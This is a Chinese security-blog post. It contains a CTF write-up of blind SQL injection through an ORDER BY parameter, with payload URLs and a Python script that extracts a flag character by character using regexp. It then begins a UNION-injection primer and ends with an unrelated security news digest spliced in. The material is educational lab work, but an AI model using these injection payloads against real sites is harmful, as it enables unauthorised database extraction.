作者:米糕菌
预估稿费:300RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
先上一道简单的ctf注入题:
一道利用order by进行注入的ctf题
很不错的一道利用order by的注入题,之前不知道order by除了爆字段还有这种操作。
原题地址:http://chall.tasteless.eu/level1/index.php?dir=
直接进去dir后的参数是ASC,网页上有从1~10编号的10条信息。绕了一大圈反应出是order by后的参数,尝试把参数改为DESC,果然倒序排列了。题目给了提示:hint: table level1_flag column flag给了数据表和字段,于是开始构造payload。
于是玄学来了,在order by后面插入管道符|之后再跟一个偶数(?这里我真的不清楚)会导致排序错乱。尝试以下url:
http://chall.tasteless.eu/level1/index.php?dir=|2
果然排序错乱,那么想要查出flag必定要使用以下语句:
select flag from level1_flag
(结果证明确实这是一个一行一列的玩意儿,不然就要使用到limit或group_concat)
但是网页上没有显示这个的输出框,于是我们这样利用这个查询的结果集:
|(select(select flag from level1_flag)regexp '正则')+1
解释一下,括号里的正则匹配成功返回1,所以再加1变成2
所以如果匹配成功,网页的排序就会错乱,如果不成功排序则不会错乱,于是最终脚本:
import urllib
import requests
result_string="^"
right_url="http://chall.tasteless.eu/level1/index.php?dir=|(select(select flag from level1_flag limit 0,1) regexp 'sdfghj')%2b1"
ordered_content=requests.get(right_url).content
while(1):
for letter in '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM?':
if(letter=='?'):
exit()
result_string_tem=result_string+letter
url="http://chall.tasteless.eu/level1/index.php?dir=|(select(select flag from level1_flag limit 0,1) regexp "+"'"+result_string_tem+"'"+")%2b1"
print url
content=requests.get(url).content
if(content!=ordered_content):
result_string=result_string_tem
print result_string
break
continue
总结一下:
1、管道符的使用(见正文)
2、regexp的使用(见正文)
其实还有一个group by后面的注入,where后面的都能用
0x00 union、intersect和minus的使用
union基本语法:
select语句
union select语句
intersect(交集)和minus(差集)也一样,但是mysql不支持交集和差集,所以这也是一个判断数据库的方法。
就说说union:
基本法:前后两个select语句的字段数要相同,不然sql必定报错,所以可以用union指令判断数据表的字段数,基本构造方法:
...where...union select 1,2,3,4,...,x limit y,z
【知识】8月15日 - 每日安全知识热点 阅读原文» 热点概要:dcrawl:基于GO语言的多线程web爬虫、如何把本地文件包含变为远程文件包含漏洞、攻击Java反序列化、探索Windows虚拟内存管理、通过smb pipes实现端口转发的Powershell脚本、Exploitations of Uninitialized Uses on macOS Sierra、Glitch攻击介绍(包括Glitch Explorer)、CuckooDroid 2.0:自动化Android恶意软件分析工具 国内热词(以下内容部分摘自http://www.solidot.org/ ): Facebook 如何掌握竞争对手的情报 前比特币开发者公开中本聪的早期邮件 资讯类: 朝鲜黑客组织被指攻击美国国防承包商 http://www.securityweek.com/north-korea-linked-hackers-target-us-defense-contractors 技术类: 在Active Directory中检测违规密码 https://jacksonvd.com/checking-for-breached-passwords-in-active-directory/ dcrawl:基于GO语言的多线程web爬虫 https://github.com/kgretzky/dcrawl 看我如何把本地文件包含变为远程文件包含漏洞
没有评论:
发表评论